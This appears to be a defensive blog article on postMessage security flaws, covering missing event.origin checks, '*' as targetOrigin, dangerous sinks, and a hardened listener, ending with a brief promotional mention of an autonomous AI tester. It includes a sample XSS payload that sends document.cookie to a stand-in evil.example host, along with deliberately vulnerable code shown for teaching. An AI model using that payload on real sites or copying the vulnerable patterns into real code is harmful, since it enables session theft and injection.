The browser keeps origins apart for a reason. A page from https://app.acme.com cannot read the cookies or DOM of a page from https://pay.acme.com. The window.postMessage API exists to poke a small, controlled hole in that wall so windows or iframes from different origins can pass messages. Used carefully, it is fine. Used carelessly, it opens a class of postMessage vulnerabilities where any website can talk to your page, feed it data you trust, and turn that data into script execution or a privileged action.
How postMessage actually works
There are two sides. The sender calls postMessage on a reference to another window. The receiver listens for a message event. Here is the normal flow between a parent page and an iframe it embeds:
// Sender side, running in the parent page
const frame = document.getElementById('widget').contentWindow;
frame.postMessage({ type: 'setTheme', value: 'dark' }, 'https://widget.acme.com');
// Receiver side, running inside the iframe
window.addEventListener('message', (event) => {
console.log('got', event.data, 'from', event.origin);
});
The event the receiver gets has three fields that matter. event.data is the payload. event.origin is the origin of the window that sent the message, set by the browser and not forgeable by the sender. event.source is a reference back to the sending window. Those last two exist so the receiver can decide whether to trust the message. The security model rests on the receiver actually using them.
The two classic postMessage vulnerabilities
Almost every real bug here comes from one of two mistakes, one on each side of the channel.
Mistake one: the receiver does not check event.origin
A message listener fires for messages from any origin. If you do not check event.origin, then any web page that can get a handle to your window can send it messages, and your listener will process them as if they came from a page you trust. Getting that handle is easy. If your page can be framed, the framing page already has a reference to it. If your page opens a popup, that popup gets window.opener.
Here is a listener that trusts everything and then does the worst possible thing with it:
// Vulnerable receiver: no origin check, writes straight to innerHTML
window.addEventListener('message', (event) => {
document.getElementById('status').innerHTML = event.data;
});
An attacker frames your page, or opens it in a popup, and sends:
target.postMessage( '<img src=x onerror="fetch(\'https://evil.example/c?\'+document.cookie)">', '*' );
Your page takes the string, drops it into innerHTML, the onerror handler runs, and the attacker has script execution in your origin. That is DOM based cross site scripting delivered over a message channel. The root cause is the same as any DOM XSS: untrusted input reaching a dangerous sink. If this pattern is new to you, the mechanics are laid out in our explainer on DOM based XSS. The only new wrinkle is that the source of the input is a cross origin message instead of the URL.
A message listener with no origin check is an open door with your origin’s name on it. The browser already told you who knocked. The bug is that you never looked.
Mistake two: the sender uses “*” as targetOrigin
The second argument to postMessage is targetOrigin. It tells the browser: only deliver this message if the receiving window’s origin matches. Passing "*" means deliver it to whatever is in that window, no matter who that is.
That is a leak in the other direction. Say your page sends a session token to a child frame:
// Leaky sender: ships a token to whoever happens to be in the frame
childFrame.postMessage({ token: userSessionToken }, '*');
If an attacker can influence what loads in that frame, by navigating it to their own page through an open redirect or a swapped src, your token is delivered straight to them. You meant to talk to https://widget.acme.com. You told the browser you did not care who was listening. Set the exact origin instead:
childFrame.postMessage({ token: userSessionToken }, 'https://widget.acme.com');
How a weak listener chains into worse
The innerHTML sink is the headline case, but the receiver does not have to write HTML to be in trouble. It depends on where event.data ends up.
- Into innerHTML, document.write, or insertAdjacentHTML: DOM XSS, as above.
- Into eval, Function, or setTimeout with a string: direct code execution.
- Into location, location.href, or window.open: open redirect. A message like
{ type: 'redirect', url: 'https://evil.example' }handled withlocation = event.data.urlsends users wherever the attacker wants. - Into a privileged action: if a message triggers “transfer funds” or “change email” with no origin check, any site that frames you can fire that action as the logged in user. That is the same shape as a cross site request forgery, over postMessage instead of a form submit.
People sometimes assume that a strict CORS policy protects them here. It does not. postMessage is a separate channel that ignores CORS entirely, so a backend locked down against cross origin reads can still feed a vulnerable front end listener. CORS has its own failure modes, covered in our writeup on CORS misconfiguration, but it is not the control that stops a bad message listener. The control is in the listener.
How to write a safe postMessage listener
The defenses are short and you want all of them, because each one closes a different gap.
- Check event.origin against an allowlist. Compare the full origin string exactly. Do not use
indexOforendsWith, becausehttps://acme.com.evil.examplewould pass a sloppyendsWith('acme.com')check. Match the whole value. - Validate the message shape. Confirm the data is the structure you expect before using any field. A known
type, expected keys, correct types. Reject anything that does not fit. - Never send message data to a dangerous sink. Use
textContentinstead ofinnerHTML. Never pass message data toevalor tolocationwithout validating it against an allowlist of paths. - Set an explicit targetOrigin when sending. Always pass the exact origin string, never
"*", for anything that is not strictly public. - Verify event.source when it matters. If a message should only come from a specific frame you control, check that
event.sourceis the window reference you expect, not just that the origin matches.
Here is the same listener from before, written defensively:
const ALLOWED = 'https://widget.acme.com';
window.addEventListener('message', (event) => {
if (event.origin !== ALLOWED) return; // exact origin match
const msg = event.data;
if (!msg || msg.type !== 'setStatus') return; // validate shape
if (typeof msg.text !== 'string') return; // validate types
document.getElementById('status').textContent = msg.text; // safe sink
});
Three checks turn an open door into a narrow one. The message has to come from the right origin, look like the one message this handler accepts, and even then it only reaches textContent, which cannot execute script.
Why this bug hides so well
postMessage vulnerabilities rarely show up in normal testing because the happy path looks identical to the dangerous one. The widget loads, sends its message, the page updates, everything works. The missing event.origin check is invisible until someone different starts sending messages. A scanner that fires known payloads at form fields will not think to set up a hostile framing page and post a crafted message into your listener. Finding this means asking what the listener trusts, and testing whether a message from the wrong origin gets processed anyway.
That is the kind of assumption testing that separates real review from pattern matching. As an early and encouraging signal, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Reasoning about who is allowed to send a message, and what the receiver does with it, is exactly the work an autonomous researcher that tests assumptions is built for. Read more on our about page.
Frequently asked questions
What are postMessage vulnerabilities?
They are bugs in how a page uses the window.postMessage API for cross origin messaging. The two classic mistakes are a receiver that never checks event.origin, so any website can send it messages it will trust, and a sender that uses "*" as the targetOrigin, so data is delivered to whatever happens to be in the target window. Either one can leak data or, when the message data reaches a dangerous sink, lead to code execution.
How does a postMessage bug become DOM XSS?
A message listener that does not validate event.origin will process messages from any site. If that listener then writes event.data into a sink like innerHTML, eval, or document.write, an attacker can send a string such as <img src=x onerror=...> that runs script in your origin. The untrusted message data reaching a dangerous sink is the same root cause as any DOM based XSS, just delivered over the message channel instead of the URL.
Does a strict CORS policy protect against postMessage attacks?
No. postMessage is a separate browser channel that ignores CORS completely. A backend that blocks cross origin reads can still feed a front end message listener that has no origin check. CORS controls cross origin HTTP reads, not who can post a message into your window. The defense for postMessage lives in the listener: check event.origin against an allowlist, validate the message shape, and keep the data out of dangerous sinks.
How do you fix postMessage vulnerabilities?
Check event.origin against an exact allowlist, never with endsWith or substring matches. Validate the message shape and types before using any field. Never pass message data to innerHTML, eval, or location; prefer textContent. When sending, set an explicit targetOrigin instead of "*". And verify event.source is the window you expect when a message should only come from a specific frame.
